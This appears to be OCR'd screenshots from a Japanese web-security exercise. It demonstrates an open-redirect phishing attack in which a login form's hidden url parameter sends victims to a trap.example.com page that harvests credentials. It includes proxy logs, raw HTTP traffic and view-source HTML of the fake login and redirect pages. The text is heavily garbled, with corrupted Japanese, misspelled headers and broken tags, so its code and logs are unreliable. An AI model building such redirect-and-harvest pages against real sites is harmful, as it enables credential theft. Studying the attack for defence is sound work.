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v G 27HR ': POST hitp://trap.example.com/47/47-801.php HTTP/1.1 HTTP/1.1 200 OK K
[C] BEE 7+ User-Agant: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:64.0) Gecko/20100101 Firefox/64.0 | |Servar: ngin/1.10.3
Accept: text/htm, I, L */*,q=0.8 Date: Tue, 25 Dec 2018 02:59:11 GMT
Accept-Language: ja,en-US;q=0.7,en;q=0.3 Content-Type: text/htm; charset=UTF-8
Accept-Encoding: gzip, defiate Content-Length: 389
Referer: http://trap.example.com/47/47-00.php Connection: keep-alive
Content-Type: application/x-www-form-urlencoded X-Powered-By: PHP/5.2.3
Content-Length: 32 Vary: Accept-Encoding
DNT: 1 X-UA-Compatible: [E=edge
Connection: keep-alive
Upgrade-Insecure-Requests: 1 <html>
Host: trap.example.com <head>
<meta HTTP-EQUIV="Refrash” CONTENT="5; URL=http: //example.jp/47/47-003.php">
</head>
<body>
CNEFERICZI LTLETH. EEONETR. TARRRRESE A, <br>
D&/ (RD— FERELEUR. <br>
SEMBIChttp://example.jp/47/47-003.phplc BEELF T, <br>
id:superuser002<br>
pwd:superuser002<br>
</body>
</html>
jam]@&ﬂuﬂws—r[;;79r~7~yﬂ+}
@ @ V2o @ IO
10 |USTRREE | XYyK |URL | AF—923—F | RT7-9Z0- KM | STYR NI TEAL | LARSRTA YAX | @EPS—b | J—h |99 E|
104 18/12/2511:56:44 GET  hktp://example.jp/47/47-001.php?url=http:/... 200 OK 2ms 361 bytes  Medium Form, Password... [
106 18/12/2511:50:03 POST  http://example.jp/47/47-002.php 302 Moved Temporarlly 20 ms. 0 bytes
107 18/12/25 11:59:03 http://trap.example.com/47/47-000.php 200 OK 21 ms 350 bytes P Medium Form, Password
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Accept: text/htm, ]
Accept-Language: ja,en-US;q=0.7.en;q=0.3
Accept-Encoding: gzip, deflate

DNT: 1

Connection: keep-alive
Upgrade-Insecure-Requests: 1

Host: example.jp

M=+ ploBErg S0 c0o 000 @y <P )PoxEnmE oG
|[@or]+ [ o1v5 25—+ [suszan] + | [erama)
@EBE  ([Fraatea—i] OO Eanrea ) 00
vE auFERN
http: le.; -003.phy . . A
= EEaLTER GET http://example.jp/47/47-003.php HTTP/1.1 HTTP/1.1 200 OK A

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:64.0) Gecko/20100101 Firefox/64.0
.9,*/*:q=0.8

Server: nginx/1.10.3

Date; Tue, 25 Dec 2018 02:59:16 GMT
Content-Type: text/htmi; charset=UTF-8
Content-Length: 96

Connection: keep-alive

X-Powered-By: PHP/5.3.3

Vary: Accept-Encoding

X-UA-Compatible: [E=edge

<htmi>
<head:> «title>BIEAIH < title> < /head>
<body>

oo LELR

</body>

</htmi>
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http://trap.example.com/47/47-901.php
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4 |USTRPER | XYy |URL | AF—#R3—F | 7923 F#M | S BPUyTIS(L | LARSRRTA 51X | @75k | S—b |99 [zl
104 18/12/2511:56:44 GET  hktp://example.jp/47/47-001.php?url=htp:/... 200 OK 2ms 361 bytes £ Medium Form, Password...
106 18/12/2511:59:03 POST  hktpi/fexample.ip/47/47-002.php 302 Moved Temporarily 20 ms 0 bytes
107 18/12/2511:50:03 GET http://trap.example.com/47/47-900.php 200 OK 21ms 350 bytes s Medium Form, Password
110 18/12/2511:50:11 POST 200 OK 38 me 389 bytes P Medium
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# example p/47/47-001. php2url=http://trap.example.com

<~ c @ ® #& trapexample.com/47/47-900.php
IDFE(@/ (R D— PNEVET. BEZILTILEZ.
1Y%

A —

od4>

<« c o @ & trap.example.com/47/47-900.php

IDEEFIIRT— PNV ET. BEFRILTLZE0.
B
e rrrrra—

o>

trap.example.com/47/47-901.php X

<« c @

® trap.example.com/47/47-901.php

ThIEFTERCZOLTVWETH, ZEORZETE. CARRREHEFRA.
IDE/TAD— FEIRELF LTz,
S5¥#%(Chttp://example.jp/47/47-003.phplCEB LET .

id:user002

pwd:user002

c @ @ view-source /47/47-001.php! D
<html>
Chead><title>O 4 LT FEE L it le>(head>
<body>

<form action="47-002.php” method="P0ST">

2 —t&dinput type="text” name="id">BR>
JSAD— Finput type="password” name="pud " ><BR>
Cinput type="hidden” name="url”
rap.examp|e.con/47/47-900. php ">

<input type="submit” value="0%+1 /">
</form>
<rbody>
<html>
C o view-sourcezhttp://trap.example.com/47/47-900.php
<htm!>
<head><title>dJ A VI 7 —</title>head>
<body>

DEF(RAT— FHELET., &
<form action=
a2 —HEinput lyne:"tgxt" name:

J§2D— Flinput type="password” name="}

<input type="submit” value="0 47 /">

</form»

</body>

</html>

httpi/trag
c @ view-source:http://trap.example.com/47/47-301.php

<htm!>

<head>

<meta HTTP-EQUIV="Refrech” CONTENT="5; URL=http://example. jp/47/47-003.php">
</head>

<body>

CHEAFERICEILTLETH, SPEOREET(L
DEHRD—FERELE LT, br>
BFHEBIChtte: /exame e, | p/47/47-003 .phe(SBRLET ., <br>
id:userD0Z<br>

pid: user002<br>

</body>

</html>

CAMFRIEEEA. <br>



